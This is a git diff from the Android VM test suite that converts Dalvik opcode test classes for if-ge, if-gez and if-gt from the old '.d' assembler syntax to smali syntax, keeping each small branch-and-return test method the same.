diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali
new file mode 100644
index 0000000..bd168a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_4.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.d
deleted file mode 100644
index ddf627e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_5.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-ge v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali
new file mode 100644
index 0000000..58830d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_5.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-ge v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.d
deleted file mode 100644
index 74e3506..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_6.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-ge v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali
new file mode 100644
index 0000000..9fd011f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_6.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-ge v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.d
deleted file mode 100644
index b3559bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_7.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali
new file mode 100644
index 0000000..ec59e3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_7.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.d
deleted file mode 100644
index 254da33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_9.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ge v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali
new file mode 100644
index 0000000..8b927c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_9.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ge v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.d
deleted file mode 100644
index 85145e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_1.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali
new file mode 100644
index 0000000..4c2c5e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_1.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.d
deleted file mode 100644
index 503c0be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_10.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali
new file mode 100644
index 0000000..52f84d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_10.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.d
deleted file mode 100644
index 3d0a858..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_2.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-gez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali
new file mode 100644
index 0000000..cd6db2a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_2.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.d
deleted file mode 100644
index a4bda68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_3.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gez v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali
new file mode 100644
index 0000000..e2e5210
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_3.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.d
deleted file mode 100644
index 4a60845..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_4.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-gez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali
new file mode 100644
index 0000000..8d3a9c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_4.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-gez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.d
deleted file mode 100644
index c3d88e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_5.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-gez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali
new file mode 100644
index 0000000..ed6eb70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_5.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-gez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.d
deleted file mode 100644
index 666d59f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_6.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-gez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali
new file mode 100644
index 0000000..ce9cfbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_6.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.d
deleted file mode 100644
index 9534ba0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gez_7.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gez v0, Label9
-       const/16 v0, 1234
-       return v0
-
-Label9:
-       const/4 v0, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali
new file mode 100644
index 0000000..61c13b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gez_7.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.d
deleted file mode 100644
index f1df2d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_8.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali
new file mode 100644
index 0000000..3de8061
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_8.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.d
deleted file mode 100644
index a0b7545..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gez_9.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali
new file mode 100644
index 0000000..c37add8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_gez_9.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.d
deleted file mode 100644
index 293c1ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_1.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali
new file mode 100644
index 0000000..be54bb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_1.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.d
deleted file mode 100644
index 7dd9ab7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gt_10.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/4 v6, 0
-       return v6
-
-Label11:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali
new file mode 100644
index 0000000..6b04c32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_gt_10.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/4 v6, 0
+       return v6
+
+:Label11
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.d
deleted file mode 100644
index 13fa794..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gt_11.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali
new file mode 100644
index 0000000..c8ea86f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_11.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
